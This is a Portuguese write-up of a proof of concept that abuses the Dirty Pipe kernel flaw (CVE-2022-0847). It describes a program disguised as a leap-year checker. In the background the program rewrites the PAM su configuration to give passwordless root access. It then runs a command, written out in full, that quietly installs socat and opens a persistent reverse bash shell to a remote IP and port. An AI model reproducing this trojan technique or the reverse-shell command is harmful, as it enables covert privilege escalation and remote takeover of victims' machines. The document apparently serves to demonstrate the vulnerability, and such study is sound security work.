
Usando o CVE-2022-0847, "Dirty Pipe Exploit", para abrir um shell reverso bash para execução arbitrária de código em uma máquina remota.
Esta é uma POC que mostra como abrir uma shell reversa bash para execução arbitrária de código em uma máquina remota usando CVE-2022-0847, "Dirty Pipe Exploit". Esta vulnerabilidade afeta apenas versões do kernel Linux 5.8 ou superiores, mas foi corrigida nas versões 5.16.11, 5.15.25, 5.10.102 e superiores. Atualize seu kernel :)
Este exploit foi descoberto pelo pesquisador de segurança Max Kellermann. Não entrarei em detalhes deste exploit, pois ele o faz muito melhor do que eu em seu artigo aqui; https://dirtypipe.cm4all.com/
Esta prova de conceito é aparentemente um simples programa de ano bissexto que informará se o ano fornecido é bissexto.
Em segundo plano, altero uma linha em /etc/pam.d/s
Altero a linha auth sufficient pam_rootok.so para auth sufficient pam_permit.so. Essa alteração nos permite executar comandos como superusuário sem inserir senha.
Depois disso, podemos simplesmente usar a função system() do C para executar comandos como su.
Eu executo
su -c \"apt-get -y install socat\" > /dev/null; socat TCP4:172.23.46.133:4444 EXEC:/bin/bash & exit
Esta linha instala o socat no sistema e direciona a saída para um arquivo nulo para que o usuário não veja a saída do download. Em seguida, executo um comando socat para conectar a uma máquina remota com o ip e porta especificados.
O & coloca este processo em segundo plano para que, após o usuário fechar o terminal, a conexão ainda seja mantida.
Executando o programa em uma máquina vulnerável:

Conectando à máquina vulnerável:
